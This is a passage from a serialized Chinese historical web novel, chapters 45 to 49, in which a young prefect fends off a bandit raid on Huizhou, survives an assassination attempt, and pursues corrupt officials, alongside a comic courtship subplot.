“连锁往那边找你去了。”何平往左边一指,旋即暗淡下来,“白图刚才被人砍死了。”此言一出,三人都沉默了。 何平低下头,想着刚才还一起的兄弟惨死在自己面前,心中沉重复杂,一抬眼,看见陈明阳胳膊肘上一片血,“哎,陈公子,你是不是受伤了?” “哦,不碍事的。”陈明阳刚才被马匪砍中了胳膊肘,血虽然流出来,但是应该是皮外伤,所以没有言语。娉婷拉过陈明阳的胳膊肘一看,顿时怒火中烧,“这个王八蛋,我们回去砍了他!” “哎,娉婷。”周启拉着马,对着何平说道,“何大人,刚刚追我们的马匪被我们捆在树上了,现在我们该怎么办呢?” 何平望了望周边,看上去没有其他马匪了,转而对陈明阳说,“我们先去把马匪拉上,再去找连锁一起回城去。” “现在回城太不安全了吧。” “刚刚在碰见陈公子的时候,我已经派人回去报信了,那里不过离城一里路。若是顺利,我相信大人应该有所防范,现在城中还有府兵和巡防营,这些大人都能自行调动,城里现在应该很安全。” 听了这话,陈明阳与娉婷终于放下心来,相互看了一眼,“好,那我们回城去。” 此时的周启早就得到了消息,虽然觉得不可思议还是带着府兵,调动了巡城军,亲自来到城门口组织官兵关城门。大家正在关着,马匪的先头小队已经冲了过来。城墙上的人看得清楚,大喊一声,“马匪来了!”百姓们早就四散奔逃。 周启与李博都正在城门口,“关城门,迎战!”甚至是声落之时,马匪已经骑着马穿过了城门。 周启与李博两人骑着马与马匪正面交锋,差役们殊死抵抗,城门缓缓关上,马匪的大部队被挡在了外边,在一片厮杀声中,先进来的十个人不一会儿的功夫就全军覆灭。此时周启来不及想其他的,登上城墙,看着横在城墙下的马匪,举起一只手,“放!” 城墙上万箭齐发,马匪知道大势已去,赶紧撤退。何平带着陈明阳、周娉婷找到连锁,一路走小路,穿密林,终于看见撤退的马匪。整队人早就没有了来时的气势,对于在密林里躲着的几个人也毫不在意。几人终于来到城门口,周启见是这几个人,赶紧下令开门,自己也来到城门口。 “你们怎么回来了?” “哥。”娉婷一把抱住周启,“我差点见不到你了。” “好了,哥哥不好啊,没有保护好你,别哭了啊。”周启一边安慰妹妹,一边打量陈明阳,“你怎么在这?” “哦,大人,是陈明阳救了小姐。”何平赶紧接过话。 周启心想真是怕什么来什么,“带小姐先回府去,我在这里还有事要处理。” “哥,陈明阳都受伤了。” 周启瞪了娉婷一眼,又看了看陈明阳,“陈公子哪里受伤了?” “哦,没事的。” “那就好。” 陈明阳不想麻烦大家,周启接话倒快,“娉婷,你赶紧回府去。”。 娉婷真是服了自己的哥哥了,“哥,人家刚刚救了我。” “不碍事的,真的,不过周知府,我要出城去,我要去给我爷爷拿药。” “什么药需要去城外拿?” “是西凉的偏方,拜托了别人的商队带回来的,说好了在十里亭交货,如今我还得去找他们。” “陈明阳,外边马匪没准还没走呢!”娉婷担心起来。 “周知府,我必须出城去,我爷爷的命比什么都重要。” “所有人不准出城。”周启轻描淡写吩咐道。 “周知府。” “来人,将所有无关人员请走。” “哎,周知府,周知府。”陈明阳被官兵推搡着离开,“哎,周知府。” “别叫了,我哥才不理你。” “我遇到你真是一次好事也没碰到。”陈明阳出不了城真是无奈又烦躁。 “这怎么能怪我呢?” “怎么不怪你!要不是送你回来,我现在都在十里亭了。” “哎!我可是担心你,我才追上你的,你怎么不识好人心啊!” “我不识好人心?那你得先是好人才行呢!” 正在两人吵架的时候,余年乘着轿子终于来到了城门口,一下轿子,余年慌慌张张来到周期身旁,“周大人,周大人,这是怎么了?” 周启已经组织人手打扫战场,也将何平带回来的马匪交给衙役带走了,如今余年“恰到好处”的来了,“余同知,你看不出来吗?” “周大人,这些人看着就像宵小之徒,怎么拿着武器?这还了得?”余年一副痛心疾首的样子。 “余同知,本官接到消息,一队马匪与城内人员勾结,打算袭击商户,本官已经及时处置,百姓们也没有人员损伤,余同知是怎么来了呢?” 余年真没想到周启会提前得到了消息,这些不中用的马匪居然只冲进来十个人还全部被拿下了,“周大人,下官原本在官衙里处理公事,听到消息马上就赶来了。周大人,可抓到什么人啊?” “没抓到谁,都死了。” “哎呦,周知府,这应该留个活口啊,这可怎么好呢?太冲动了吧!” “余同知!”李博在旁边听不下去了,“这怎么说也算是个战场啊,可是你死我活的事情,为了百姓不受伤害,周知府已经尽力做到最好了。怎么?余同知你什么也没干,跑这对着谁指手画脚呢?” 余年没想到李博居然当着大家面如此维护周启,“钦差大人,下官身为同知也只是就事论事,没有别的意思啊,倒是钦差大人怎么如此敏感。” “你们两个。”周启不想在这个时候让围观的百姓看见官吏之间不和,“要不打扫战场,要不回府衙呆着去。” “周大人,下官是来协助您的,下官这就组织人手打扫战场,再统计一下人员伤亡,财产损失等情况。” “嗯。”周启双手背后,端端正正站着,李博双手交叉覆于胸前,怎么看都透露着不待见余年的意味。余年心里打鼓,刀子亮出来几次了,人还没有干掉,这在他的宦海生涯中是最无法忍受的事情。在组织人手的同时,余年不时偷眼看李博与周启,两人似乎各忙各的,没什么交集。余年知道他们没什么交情,上次不过是自己的陷害。可是他万万没想到皇上居然不觉得什么,不过罚俸半年了事,这在官场上根本算不上什么处罚。余年听张海说看见两人鬼鬼祟祟在一起,李博还乔装改变去知府衙门,如今李博又如此维护周启,两人的关系真是让人摸不着头脑,余年站在一片狼藉面前眉头紧锁,此时的张海站在客厅里也是眉头紧锁。 “一群废物,连城门都没进。” “现在怎么办?” “周开怎么知道马匪今日要进城?” “大人,你别忘了,知道马匪今日进城的不在少数。” 张海回头看了一眼张广,“你什么意思?” “余年那个蠢货,什么事情也没办好,为了自己的利益,他事先通知了自己所有的亲信。大人,官场上的情谊哪有这么牢靠,我看这其中肯定已经有投靠周开的人了吧!” “哼,好啊周开,每天躲在知府衙门里,心思倒是深沉得很。”,张海愤恨地说道,“这次算你赢了,下次就没这么容易了!” 第四十六章 陈老太爷认下孙媳妇 - 风吹繁花散落时 - 红酒羊排 娉婷与陈明阳边吵架边向陈家走去,“你老跟着我干什么?”陈明阳真想这位大小姐赶紧离开。 “谁想跟着你了!”娉婷死鸭子嘴硬,两人前后脚气鼓鼓进了陈家大门。下人们也不知道怎么了,更不敢拦着周知府家的大小姐。 “陈明阳?你怎么这么快回来了?哎,周,周大小姐,你怎么来了?”陈千朗在前厅正喝茶,看见陈明阳和周娉婷一前一后-进来,脸色都不太好看,心都提到嗓子眼了。 “爹,您赶紧叫人把她轰出去。” “嘿,这个混蛋,我可是好心好意,你怎么不领情?” “哎,大小姐,大小姐,消消气,消消气。”陈千朗一个头两个大,“明阳,不是叫你去给爷爷拿药方吗?药方呢?” “还说呢,都是这大小姐,我连十里亭都没到,就送她回来,然后城都出不了了,人家商队肯定是走了。” “嘿,你怎么颠倒黑白啊!什么因为我,根本就是因为那帮子马匪,什么叫送我回来,我可是都到城门口了,本小姐可是为了救你,那可是冒着生命危险追你,你倒好,简直倒打一耙你!” 陈千朗更加迷惑了,“什么,什么马匪?” “爹,你别听她胡说。我告诉你,要不是你,我自己也能冲过去,拿着药方我正好回来,什么都不耽误,我可是担心你有危险才把你给送回来了,你那个哥哥倒好,关着城门不让人出去,真行你们兄妹。” “我哥哥可是为了全城百姓的安全,你什么破药方,还不一定管用呢,敢说我哥哥,我哥哥怎么了,要没有我哥哥,这徽州城都被抢劫了,你们陈家现在没准火光冲天,家破人亡了!” “你说谁家破人亡!” “话糙理不糙!我告诉你陈明阳,根本就是你不识好歹。” “谁不识好歹,根本就是你多此一举!” “你不识好歹!” “你多此一举!” 陈千朗站在中间,被他们这么一嚷也听出个大概,“好了,好了,都消消气,少说两句,少说两句。”两个人根本不听,还在互相指责,“好了!”陈千朗牟足了力气大喊一声,“都给我住嘴!”两人瞬间不说话了,两人相互瞪了一眼对方,只听陈千朗又陪着笑说道,“大小姐,我听明白了,是我们陈明阳不懂事,你大人不记小人过,别跟他一般见识。” “爹。” “闭嘴!”陈千朗瞪着陈明阳,“我不是告诉你了吗?看见周大小姐要毕恭毕敬,最好绕道而行,你怎么不听?” 娉婷本来还想息事宁人,一听陈千朗简直指桑骂槐,“你说什么呢!” “周大小姐,我这教训他呢,我让他以后都躲你远远的,再也不招惹你了。” 娉婷指着陈千朗的鼻子,“你,你别以为我听不出来,你根本就是觉得我不对是不是?” “怎么可能呢?周大小姐是谁啊,周知府的妹妹,怎么可能不对呢?周大小姐,我今天就替你好好教训教训这个逆子,你别着急啊,我这就教训他。”陈千朗的打算是将陈明阳推出去,先把两个人分开,其他的就好说了。 “千朗啊,千朗。”正在这时,陈老太爷拄着拐杖走了进来。 “爷爷。” “爹” 父子两正觉得老太爷来得不是时候,老太爷倒是一眼看见了娉婷,“呦,这是谁家闺女,这么水灵?” 娉婷见是陈家的老太爷,赶紧收起嚣张跋扈的个性,来到老太爷身边,展露出皇家笑容,“爷爷好。” “哎,好好好,你是谁家闺女啊?” “我是周家闺女。”娉婷将老太爷扶到椅子上做好,笑容灿烂。 “周家,哪个周家?” “京城的周家,我是周知府的妹妹。” “知府大人的妹妹啊?真好啊,多大了?” “爷爷,我今年十八了。” “十八了,真是大姑娘了,成亲了没有啊?” 陈家父子一看这是糊涂了,赶紧过来,“爹,天不早了,周小姐也该回去了。” “是啊,爷爷,她家人该担心了。” “哎,什么不早了,这还没吃中午饭呢,周家闺女啊,中午在这吃饭吧。” “好啊。”娉婷答应得倒痛快,陈明阳看了看娉婷,用眼神告诉娉婷别打什么坏主意。娉婷才不管他,讨好长辈可是自己最拿手的事情,今天非吃定了陈明阳不可。 午饭不一会儿就摆上了桌,“闺女啊,多吃点啊,这京城和我们徽州不同,习惯不习惯啊?” “习惯,徽州很好。” “成亲了没有啊?” 娉婷看来一眼陈明阳,“还没呢。” “都这么大了,该成亲了。哦,对了,你看我们家千朗怎么样?” “啊?”娉婷一听千朗吓了一跳,笑容都收敛住了。 “怎么了?你看我们千朗,多么帅气俊朗。”,老太爷说着千朗,却指着陈明阳。 娉婷这才反应过来,原来老太爷认错人了,“哦,千朗啊,好啊,特别好。爷爷,你看我好吗?” 老太爷笑得合不拢嘴,“好,好啊,千朗啊,你看爹还说给你找个媳妇呢,这不媳妇自己就来了。” “爹。”陈千朗简直无奈到了极点,老太爷糊涂了,一直不认得自己,如今娉婷又来添乱。 “爷爷,你看啊,要是成亲呢,得先合八字。” “哦,对对对,合八字。” “你捣什么乱!”陈明阳实在看不下去了。 “臭小子!”老太爷上来就给了陈明阳一下子,“怎么对人家姑娘说话呢。”老太爷又笑着对娉婷说,“闺女啊,你别在意啊,他啊,肯定是害羞了,他平时不这样。”又转头对着陈明阳教育到,“你还不赶紧,赶紧把你八字写下来给人家姑娘。” 陈明阳无可奈何,看着娉婷得意那劲,“哎,成,我这就写啊。”陈明阳郑重其事得将生辰八字写下来交给了娉婷。 “闺女啊,你回去找人合八字啊,要是好啊,咱们就定下来啊。” “爷爷,她吃饱了,八字也给了,该回去了。” “嗯,好好好,闺女啊,明天再来啊,我可等你好消息啊。”老太爷满脸堆笑,娉婷窈窕淑女的样子让陈明阳打了一个寒噤,心想:臭丫头,肯定是憋着坏呢。所以赶紧送客,娉婷也不在乎,拿着陈明阳给的八字起身告退。 这边娉婷志得意满,那边周启与李博在牢里审问马匪也收获满满。 “大人,既然知道马匪的老巢在哪,应该组织人手去剿灭。” 周启当然赞同剿灭马匪,但是抓住他们大当家的,审问出城中与他们打配合的人才是关键。“别人是死是活我不管,大当家的和二当家的一定要抓活的。” “好,我现在上书朝廷,请朝廷批准派兵,剿灭马匪。” 李博走后,周启还在牢里站了一会儿,他想利用这个马匪打乱余年的阵脚。“来人,带着他。” “大人,大人饶命啊,大人饶命啊,我知道的我都说了,我可什么都不知道啊,都是大当家的带着我们,说吃香的喝辣的。大人啊,饶命啊。”马匪跪在地上磕头如捣蒜,将所有真话都一股脑抖搂出来。 周启与娉婷一样,最恨背叛之人,看这马匪如此没有骨气,心中打定了主意让他去做诱饵。周启大摇大摆骑着马带着衙役压着马匪穿街而过,衙役鸣锣开道,鸣三下锣大喊一声:天理昭昭,马匪落网,城中贼人,速速自首!“Duang Duang Duang”三声过后,又大喊一声:天理昭昭,马匪落网,城中贼人,速速自首! 全城的百姓都来围观,有人向马匪扔菜叶子、臭鸡蛋,马匪垂头丧气,知道自己命不久矣。周启骑着马来到城门口,城门口已经被打扫干净,但是城门还紧闭着。周启翻身下马,衙役站立两旁,马匪跪在当中。 “各位乡亲,各位父老。想必大家已经都听说了,今早,匪徒趁人不备,偷袭徽州城。幸亏本官提早得到了消息,将十名匪徒击毙于城门前,将数百名匪徒阻挡于城门外,这才保住了徽州的繁荣安定。但是,据这个马匪交代,咱们徽州城出了奸细,居然联合马匪要在徽州城内烧杀抢掠。百姓们,徽州是你们的家乡,是大家生活的地方,可就在你们中间,就有败类要破坏这一切。百姓们,你们答不答应?” “不答应!” “百姓们,本官会尽力保护徽州,保护一方安康,可是本官需要大家与本官一起揪出内奸。” “揪出内奸,揪出内奸!” 周启看着群情激愤的百姓,心满意足,“将马匪压上来。”马匪被架起来,跪在周启的脚下,“你说,你看见的那个人长什么样子?” “大人,我,我真的没看见啊。” “当着大家的面,你还敢不老实!你刚才在牢里不是给我们的画师描述了吗?来啊,把画像拿来。” 连锁将早就准备好的画像拿来,其实就是之前张广的画像,可是是折着的,大家都看不清楚。“本官再给你一次机会,你若是老实交代,本官饶你不死。” “大人,大人,我看见了,看见他是一个男的,中等身材……” 第四十七章 真假难辨 - 风吹繁花散落时 - 红酒羊排 马匪其实什么也不知道,生死存亡的关头,只好先胡编乱造。但是正当他胡乱描述的同时,张广已经等不及了,“咻”地一声,两只冷箭射了出来,一只直对着周启而来,何平手疾眼快,一刀将冷箭砍在地上,另一只冷箭穿过马匪的身体,马匪顿时气息全无。 “抓奸细!”连锁大喊一声,百姓们也参加到了抓人的行列,城门口再次乱了起来。 周启示意所有的侍卫出击,这次一定要抓到人,他则捡起了冷箭,箭头锋利异常,透着寒光。张广扔下弓箭,迅速逃窜,有百姓看见了大叫起来,这个时候张广明白了周启的用意,发动所有人,煽动大家对奸细的愤恨情绪,自己现在成了众矢之的,何平带着侍卫们紧紧追随。 此时的徽州城外,钱宁与吴怡已经来到城门口,见城门紧闭,两人不知道发生了什么。 “哎,奇怪,这门怎么关了?”吴怡坐着马上看城墙上全是守军,“官差大哥,开一下门啊!”守军哪里理她,直直站着都不看她,吴怡更觉得奇怪了,翻身下马。 “吴怡。”钱宁也觉得奇怪,这种情况他从来没见过,但是他从书上读到过,关闭城门是十分紧急的情况,要不敌人来袭,要不城内变故。 “没事,钱宁,你等会,我去叫门。”吴怡来到城门旁,双手拍门,“开门啊,我们要进去,开门!” 周启正在看冷箭,听见身后的城门响,示意连锁去看看。连锁扒着门缝向外查看,只有钱宁和吴怡。“大人,好像是钱家的少东家和吴怡。”。周启也不说话,连锁倒是明白他的意思,“来,开门。”原本守军不敢开门,看了一眼连锁,又看了一眼周启,犹犹豫豫地打开了一个缝子。 吴怡推门进来,周启原本看着城内,手拿着箭背着身后,一转身正看见吴怡。吴怡一进门见周启不似平常的样子,穿着一身白色的便装,微风拂过,披在肩上的头发轻轻飞起。周启不过看了一眼,旋即又转头看向别处。此时,钱宁拉着两匹马进城了,城门再一次哐当一声关上。 “连锁管家,这怎么了?” “哦,抓奸细呢,你赶紧跟着你家少东家回家去,街面上不安全。” “哦。” 连锁说完又站在周启身后,钱宁拉着马,与吴怡往钱家走去。路过周启身边的刹那间,另一方向乱了起来。周启迅速转身,观察起情况。正在这时,三个在旁边的“百姓”突然亮出兵刃,对着周启砍来,兵刃的反光正照在吴怡的眼睛上,吴怡用手一挡,看见一饼刀直奔周启而来,“小心!” 周启听见喊声,身手敏捷,一下子躲了过去。连锁在旁边抽出宝剑,与敌人打在一处。守城兵丁也过来帮忙。钱宁拉着吴怡赶紧跑,城门口的三人刀刀砍向周启,幸亏兵丁众多,没几下就将三人拿下了。 “谁派你来的?”周启根本不给三人喘息的机会,三人本来被人拿下了,还拼尽力气挣扎。周启拿过连锁手中的宝剑,一剑刺在一人的肩膀上,“说,谁派你们来的!” “啊……”,那人大叫一声,旋即十分硬气地说道,“哈哈哈,老子看你不顺眼,就想要你的狗命。” 周启也不多言,将剑穿透了他的肩膀,一直拿着箭,看向另两个人,“说,谁派你们来的?”那两个人一个哆哆嗦嗦,一个低头不语。周启将剑拔出来,将带着血的剑搭在那个哆哆嗦嗦的男人肩膀上,“你说。” 哆哆嗦嗦的男人早就吓破胆,赶紧磕头,“大人饶命,大人饶命。” “你*妈的!真他妈是废物,你要是敢说,老子废了你。” “你要是不说,本官杀了你。” “大人,大人,我说,一个男人给了我们钱,说要是趁乱杀了您,给我们一大块金砖。” 周启将剑扔给连锁,从兜里掏出来张广的画像,“是他吗?” “不是。” “不是?” “真不是,大人,这人我没见过,真的,我说的都是真的。” 周启想了想,若不是这人,那么就会有别人牵扯进来,若是张海亲自干的,直接将他们一锅端了,也用不着再去查什么背景了。“连锁,将他们押到知府衙门,找画师给他们做笔录。” “是。大人,这里不安全,不如回知府衙门吧。” 周启装好画像,在守军的护送下往知府衙门走去。一路上街道都很清静,家家闭户,与平时繁荣的徽州形成了鲜明的对比。钱宁拉着吴怡跑回了钱家,“吴怡,你好好在你房间呆着,千万别上街。我去找我爹。”钱宁安顿好吴怡来到花厅大厅情况。 “爹,周知府现在在全城抓奸细,他是不是疯了。”钱宁听完事情的经过,不无感慨。 “他肯定没疯,马匪都跑进城来了,他这个知府能脱得了干系吗?但是若是徽州城里有奸细,那他这个知府的罪名还小一点。” “我原本以为周知府和那些官员不一样,没想到也是为了自己,把徽州城弄成这样。” “钱宁,官吏都是一样的,官运亨通才是最重要的事情,就好像我们商人,赚钱才是根本。他们说我们唯利是图,也不是没有根据。” “爹,我们商人也不都是唯利是图,您怎么这么说自己啊。” “哈哈哈,周知府必须先保住他的官位,才能再想什么为百姓谋福利啊这些。周知府不傻对我们钱家是大好事啊,要不然我还真有点不放心,那个余年可是老油条啊,一个十八岁的知府,他已经很不容易啦。” 此时的知府衙门已经坐满了官吏,周启在李博的陪同下走了出来。大家施礼完毕纷纷落座,李博身为钦差,稳稳当当坐在了正位上,周启却没有落座,手里拿着冷箭,看着满堂的官吏。 “各位同僚,这两天发生的事情,本官相信你们都想知道怎么了。本官也相信,在座的各位,没有马匪所说的奸细。” “周大人,马匪已经死了,他为了活命说出来的话何以采信?” “马匪的话不足以采信,这三个人呢?”连锁将三个人押了上来,“余同知,你告诉告诉本官,有人光大化日之下袭击本官,该当何罪呀?” 满堂官吏窃窃私语,“周大人,他们为什么袭击大人?” “连锁。”连锁将画师刚刚的画像拿了出来,“给众位大人看看,你们都是在徽州时间已久的老人了,赶紧看看,若是认得,告诉本官一声,本官也好亲自去问问他,为什么雇凶袭击本官。” 余年看了一眼,心里倒是坦坦荡荡,因为这个人是马匪。被抓的这三个人,其实是十个人,早在马匪进城之前就进了徽州城,为的就是杀死周知府。原本余年与张海的计划是这样的:让张广去联系马匪进城,去钱家烧杀抢掠,并安排十个外乡人,趁乱除掉周启。原本这计划天衣无缝,谁知周启提前得到了消息,将城门关上了,进城的马匪被击毙,十个外乡人只有三个蠢货在光天化日之下还敢动手,还被周启给抓了。但是余年心中淡定得很,因为这马匪是张广去联系的,十个外乡人是马匪去联系的,与自己一毛钱关系都没有。 周启原以为怎么也有人认识这人,连锁转了一圈,居然没有认识,还都窃窃私语,连连摇头。余年肥胖的身材挤在椅子上,倒是一脸淡定,甚至堆着笑向周启一抱拳,“大人,看来不是徽州人啊。不知道大人得罪了什么外人,居然跑到我们徽州来行凶来了,实在可恶,要不将画像寄到邻省去问问?” “不必了。余同知,这三个人该当何罪?” “哦,大人,他们袭击朝廷命官,就是一个字:斩。” “好,连锁把他们带下去,本官自会上报朝廷加以处置。”三个人中那个哆哆嗦嗦的男人叫得最惨,满堂官吏没有搭理他的。周启拿着箭走到余年身旁,“余大人,你看看这箭,可能查到出处啊?” 余年接过箭,“大人,我看这也就是普通的弓箭,连个名号都没刻,要是去查,恐怕比登天还难啊。” “是嘛,看来贼人是想到这一点了。”周启顿了顿,又从余年手里拿过箭,用大拇指擦了擦箭头,“不过啊,幸亏本官福大命大,要不然,本官和马匪死在一起了,你说是不是,余同知。” “哈哈哈,大人真是洪福齐天,得上天庇护。” “哈哈哈,余同知,这话可不能乱说啊,只有皇上才得上天庇护,本官也就是运气好一点,得皇上隆恩。” “哦,对对对,大人说得多。” 周启终于收敛起笑容,“诸位,马匪进城,本官责无旁贷,会自请处罚。但是马匪一日不除,徽州城就一日不得安宁。诸位,可有马匪的信息啊?” “大人,下官知道这波马匪,在山上作恶多年了。因为我们徽州多山,他们又原都是山里的猎户,在山上抓捕十分不易。每隔几年他们就换一个山头,甚至还会跨县,所以一直以来没有被剿灭。”一个官吏回禀到。 “大人,光靠徽州衙门的人去抓捕,实在不太可能,若是大人想要剿灭马匪,需要兵营的配合。” “大人,若是需要兵营的配合,需要上报朝廷,请朝廷派兵。” 知府衙门内七嘴八舌商量起怎么剿灭马匪。 第四十八章 真亦假时假亦真 - 风吹繁花散落时 - 红酒羊排 知府衙门中大家商量起剿灭马匪,徽州城内还在紧锣密鼓抓奸细。 张广还在逃窜,幸亏余年的手下刻意放他。何平被城内的情形逼急了,自己出京唯一的任务就是保护五皇子,如今逃窜之人,射出冷箭直奔五皇子而来,城外的马匪又杀死了白图。何平身为侍卫首领,没能将兄弟们完好无损的带回去,心中负罪感越来越大。时间一秒一秒流逝,抓到奸细的可能越来越低。 娉婷才不管城里怎么乱呢,高高兴兴来到陈家。陈明阳知道她一定会来找麻烦,早就站在门口等着了,“周大小姐。” “呦,陈明阳?怎么,迎接你夫人来了?” “都说北方女孩豪放,不过周小姐,你知道矜持二字怎么写吗?” “不知道!”娉婷可不是扭捏之人,既然明白了自己的心意,就更没有理由藏着掖着了,“陈明阳,本小姐已经合过八字了,你我极相配,本小姐打算收了你。” “收了我?”陈明阳早就等着这句话了,“哎呀,你昨天没听我爷爷说嘛,千朗啊千朗,所以我呢,给你的是我爹的八字,怎么,周小姐想给我爹当小妾?” “你!”娉婷没想到陈明阳玩这一手,“哼,来,乖儿子,叫娘。” 陈明阳看娉婷也不恼,还白白占自己便宜,愣了一下,又皮笑肉不笑地继续调侃,“等你过门了,我肯定叫,不过呢,我得提醒你,我娘脾气不好,你到时候可别天天以泪洗面就行。” 娉婷白了陈明阳一眼,一把将他推一边去,自己进门了。 “哎,你干嘛?” “去看爷爷啊,你昨天没听见吗?爷爷叫我今天还来。” “嘿,你给我站住。”陈明阳拉着娉婷的胳膊,“我说你能不能要点脸,脸皮怎么这么厚。” “哼,怎么样?我告诉你,等我嫁给你爹,我就闹得你们全家鸡犬不宁,气死你娘,给你娶一个丑八怪,叫你再敢欺负我!”娉婷一甩,自己紧跑两步进去了。陈明阳哪能让她进去,两人追追打打,好不容易进了前厅。 “哎,爷爷。”老太爷已经在前厅坐着等了,娉婷一叫爷爷,陈明阳赶紧不闹了。 “哎呦,可想死我了,周家闺女啊,你怎么才来啊?” “爷爷,我这不是来了吗,爷爷好。”娉婷也不认生,自己坐在老太爷旁边。 陈明阳心里一百个不愿意,心想:这是糊涂了吗,自己儿子都认不清,周娉婷倒记得清楚。“爷爷,您别理她,我们回去了。” “你这臭小子,人家小姐来看我的,我怎么能回去?周小姐啊,八字合的怎么样了?” 娉婷也不在乎别的,拿出合好的八字,“爷爷,你看,人家说了,天作之合。” “哎呦,我看看,我看看。”陈老太爷已经乐开了花,“哎呦,真的呦,哈哈哈,我们千朗要娶媳妇了,真好,真好啊。” 陈明阳简直一个头两个大,“哎呦喂。”陈明阳都不知道该怎么解释,一个成心捣乱什么也不听,一个时间错乱什么也听不懂。 时近傍晚,娉婷还在陈家胡闹,何平带人发现了张广的行踪。一行人已经将他团团围住,却架不住余年的差官冲出来捣乱,看似帮何平,实际放走了张广。 何平倒是看明白了,“你们成心捣乱是不是!” “大人,小的们不是他对手,他太狡猾了,小的们哪能捣乱呢。”差官们厚着脸皮,一副死猪不怕开水烫的样子。 何平实在无可奈何,吩咐人继续搜寻,回知府衙门向周启禀报。 李博与周启两人在书房看徽州山区的地图,听何平的回报倒也不惊讶。“强龙不压地头蛇,这余年现在就是地头蛇啊,他在徽州经营多年,他想掣肘太容易了。” “大人,再这样下去,今天的心思就白费了。”何平实在不知道该怎么办了,什么周密的计划也需要人去实施,可是现在就是这些人在捣乱。 周启将地图卷起来放在一边,说了一句“走。” “去哪啊?”李博还以为要先研究剿匪。 “张海府。” “去哪干嘛啊?我们没有证据证明这男的和张海有关系啊。” 周启也不答话,带着人来到张海的住所,衙役将门叫开,周启带着李博和何平来到前厅。 “周大人,什么风把您吹来了,哎呦,这不是钦差大人嘛,稀客稀客。”张海穿着睡衣,脸上却没有一丝睡意。 “本官得报,贼人跑进了你的府邸,所以进来看看。” “哎?是嘛?哎呀,周大人,你看我都睡觉了,我没看见什么人啊。” 周启才不听他花言巧语,示意何平进去搜。 “哎,慢着。周大人,这贼人怎么会跑进来了呢,我的下人们可都没看见啊,会不会是看错了。” “何平?”周启侧头看了一眼何平。何平也不含糊,“大人,属下亲眼看见贼人逃进了院中,恐怕是天黑,院中的下人们才没有看见。” “那就赶紧找出来,省的伤着什么人。” “是!”何平一挥手,衙役与侍卫门一起冲进了院子。张海没想到周启能如此行事,可是若拦着也没什么好的理由。 “呦,周大人,天都这么晚了,大人还亲自搜人,真是辛苦。” “本官身为一州之长,应该的。” “钦差大人倒是轻松,不知道的,还以为周大人是钦差呢。” 李博一笑,“本钦差并不是来抓马匪的恩,所以本钦差看着周大人公干就行了。” “哦,是是是。只是不知道这贼人怎么会跑到我的院子来了呢?” “张海,你叫张海是吧?” “是,小民张海,不知道知府大人有何吩咐?” “你认识这个人吗?”周启将张广的画像拿了出来,在张海面前展开。 “这个人?”张海故意寻思半天。 “张老板,有人看见你和这个人是一起进城的。” “哦,对对对。大人若不说小民都不记得了,是,那天的却是。” “有人看见你们一起去了钱记。” “哦,大人,是这样,我们商人,到了一个地方自然相互拜会一下,也许他也是谈生意,我们是一天去的,可是我谈我的生意,他谈他的,我们并不是一起的。” “钱万全说,当时他就院中等你,不是你的随从吗?” “周大人,这个人我真的不认识,他也肯定不是等我,他等谁我真的不知道。”张海已经睁眼说啥话了,他知道张广暴露了,但是为了不让李天时派别人来盯着自己,他只能保住张广,只要他一直在暗处,两个人抵死不认相互认识,谁也不能拿他怎么样。况且他只带张广去过一次钱家、一次陈家,之后就都分开行动,就算看见他们在一起怎么样,谈生意不行吗。 周启看着张海,此人睁眼说啥话的功力真是与自己不相上下,“有人看见你们一起去了余同知的府邸。” “大人,这不可能。小民从来没有去过余同知的府邸,当然了,这个人去没去过,小民真的不知道。” “哼。”周启突然笑了一下,正好何平过来,耳语了两句。周启一直看着张海,此人在何平耳语的时候,下意识看了一下地面,“既然这样,咱们就去余同知的府邸看看。” 张海的眼睛不易察觉的忽闪了一下,周启已经转身,张海赶紧问了一句,“大人,贼人找到了吗?” “没有,不过你放心吧,刚才有人来报,贼人在余同知府邸附近出现。本官相信,贼人肯定是逃走了,你这里安全了,张老板,你好好休息吧。” 周启走后,张海十分紧张,现在张广的生死只能看造化了,因为张广此时正在同知府邸。 “你以为你逃的掉?” “大人,今天你的人可是十分卖力地帮衬在下呢。” “哼,那你就应该好好躲起来,千万别找麻烦。” “大人,还有什么地方比你的同知府更安全呢。” “你想灯下黑?但是你别忘了,周开也没有这么傻,他就真的想不到吗?” “大人,就算他想到,他能进来吗?我觉得你的衙门非常安全。”张广一屁股坐在椅子上,翘着二郎腿看着余年。 余年眯着一双眼,看张广威胁自己,觉得十分厌恶,“张广,你都暴露了,抓到你是迟早的事情。再说了,有价值的人才配活下去,你呢?” “我能帮大人杀了周开。” “哼,你以为你今天失手之后还能有机会吗?” “大人,今天我一下子得杀两个人,况且他早有防备,但是过些时候,他还能一直每天带着这么多官兵四处活动吗?大人,我的身手就是我的价值,这样身手的人,还能没价值吗?” “你怎么靠近周开?” “哼,这个可是我吃饭的本事,大人就不必知道了吧,保密工作做得好,成功几率就大点。” 余年正考虑,外边周启已经带着人敲门了。 第四十九章 余年、张海联手 - 风吹繁花散落时 - 红酒羊排 周启带着人来到同知府邸,余年赶紧将张广藏在密室之中。 “周大人,这是怎么了?” “余同知,本官追踪贼人至此,为了余大人的安全,本官不得已必需进来看看。” 余年心里咯噔一下,脸上却笑着强装镇定,“哎呦周大人真是辛苦,不过下官未曾见到什么贼人。” “余同知,为了全城百姓的安危,本官所有地方都要查验一番。” 余年收敛起笑容,“哦,周大人,下官不才,可是这官衙是朝廷公产,若是大人想查,那得需要有朝廷的诏书才行呢。” “余大人,本官是来追贼人的,又不是抄家,要什么诏书呀。” “周大人,下官的却没有见到什么贼人,不如周大人到别处看看吧,免得贼人再出祸端。” 周启贴近余年,“余同知似乎很紧张啊。” “紧张,怎么会呢?”余年尴尬地看了周启一眼,“周大人,下官觉得这贼人似乎冲着大人来的,周大人不如早点回府,以免发生意外。” “本官的确有些累了,可是这下边还有好多家等着呢,本官想着今天若是不去看看实在让人不放心。” “大人真是辛苦了。” “哎呀,余大人呀,你老是说我初来乍到的,很多事情不了解,余大人在徽州这么多年,想必最了解徽州了。不如余大人跟本官一起,一定能事半功倍。” 余年不知道周启想要干嘛,心里又想着张广还在府里,实在不应该走开,“大人说笑了,下官……” “本官并没有说笑!”周启突然板着脸严厉说到,“余大人不是速来以徽州为首要吗,怎么现在竟然放着百姓安危不管,要在府衙呼呼大睡吗?” “大人,下官怎么可能要睡觉呢,下官……” “既然没什么事就来吧!”周启也不听他解释了,转身就走。 “哎,大人……” 何平走了过来,“大人,请!” 余年看这阵势,再不走可真有点说不过去,看了一眼何平,何平不卑不亢,一点也不给余年思考的机会,余年只好跟着周启一家一家查访。 